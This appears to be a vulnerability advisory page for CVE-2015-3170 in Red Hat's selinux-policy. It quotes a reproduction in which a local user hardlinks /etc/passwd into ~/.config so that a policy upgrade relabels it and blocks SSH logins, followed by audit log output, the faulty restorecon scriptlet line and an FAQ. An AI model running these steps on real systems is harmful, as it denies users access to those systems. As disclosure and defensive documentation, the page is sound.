CVE-2015-3170: Medium severity selinux vulnerability
selinux-policy when sysctl fs.protectedhardlinks are set to 0 allows local users to cause a denial of service (SSH login prevention) by creating a hardlink to /etc/passwd from a directory named .config, and updating selinux-policy.
Other sources
The following issue was reported against selinux-policy:
Make sure that the selinux-policy-targeted package is not up-to-date when you start. You also need to set the sysctl fs.protectedhardlinks to 0. (If I recall correctly, the relabel code has a race, so you will still be able to exploit it even with protected hard links/symbolic links, it's just more difficult.)
$ cd $ mkdir .config $ cd .config $ ln /etc/passwd $ ls -lZ passwd -rw-r--r--. root root systemu:objectr:passwdfilet:s0 passwd
And as root:
yum upgrade selinux-policy-targeted
Back as the user:
$ ls -lZ passwd -rw-r--r--. root root systemu:objectr:confighomet:s0 passwd $ ls -lZ /etc/passwd -rw-r--r--. root root systemu:objectr:confighomet:s0 /etc/passwd
This prevents login with SSH, among other things:
type=SYSCALL msg=audit(1430136061.901:101): arch=c000003e syscall=2 success=no exit=-13 a0=7fee52cc1d8a a1=80000 a2=1b6 a3=0 items=0 ppid=4899 pid=4900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="unixchkpwd" exe="/usr/sbin/unixchkpwd" subj=systemu:systemr:chkpwdt:s0-s0:c0.c1023 key=(null) type=AVC msg=audit(1430136061.901:101): avc: denied { read } for pid=4900 comm="unixchkpwd" name="passwd" dev="dm-1" ino=69128317 scontext=systemu:systemr:chkpwdt:s0-s0:c0.c1023 tcontext=systemu:objectr:confighomet:s0 tclass=file
The cause is easily identified, at the bottom of the “rpm -q --scripts selinux-policy-targeted” output:
if /sbin/restorecon -R /home//.config 2> /dev/null;then continue; fi;fi;exit 0
This particularly easy exploit vector was introduced in this spec file commit for RHEL 7:
commit 5eea0f4403c4b8b3ef3ece9584c103e098048c64 Author: Dan Walsh <dwalsh> Date: Wed Feb 20 14:12:19 2013 +0100
Always run restorecon at install time to make sure key files are labeled correctly
The underlying issue is older, and also affects RHEL 6, but exploiting it there is more difficult because you need a policy update which relabels a user-writable part of the file system, and I suppose those are rare.
Acknowledgements:
This issue was discovered by Florian Weimer of Red Hat Product Security.
— Red Hat
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2015-3170?
CVE-2015-3170 is classified as a moderate severity vulnerability that can cause a denial of service.
How do I fix CVE-2015-3170?
To fix CVE-2015-3170, you should update your SELinux policy to ensure proper access controls and avoid setting fs.protected_hardlinks to 0.
Who is affected by CVE-2015-3170?
CVE-2015-3170 primarily affects systems using SELinux with the fs.protected_hardlinks parameter set to 0.
What types of attacks are possible with CVE-2015-3170?
An attacker can create a hardlink to /etc/passwd, which may prevent SSH logins for local users.
Is there a workaround for CVE-2015-3170?
A potential workaround for CVE-2015-3170 is to set the fs.protected_hardlinks sysctl parameter to a value other than 0.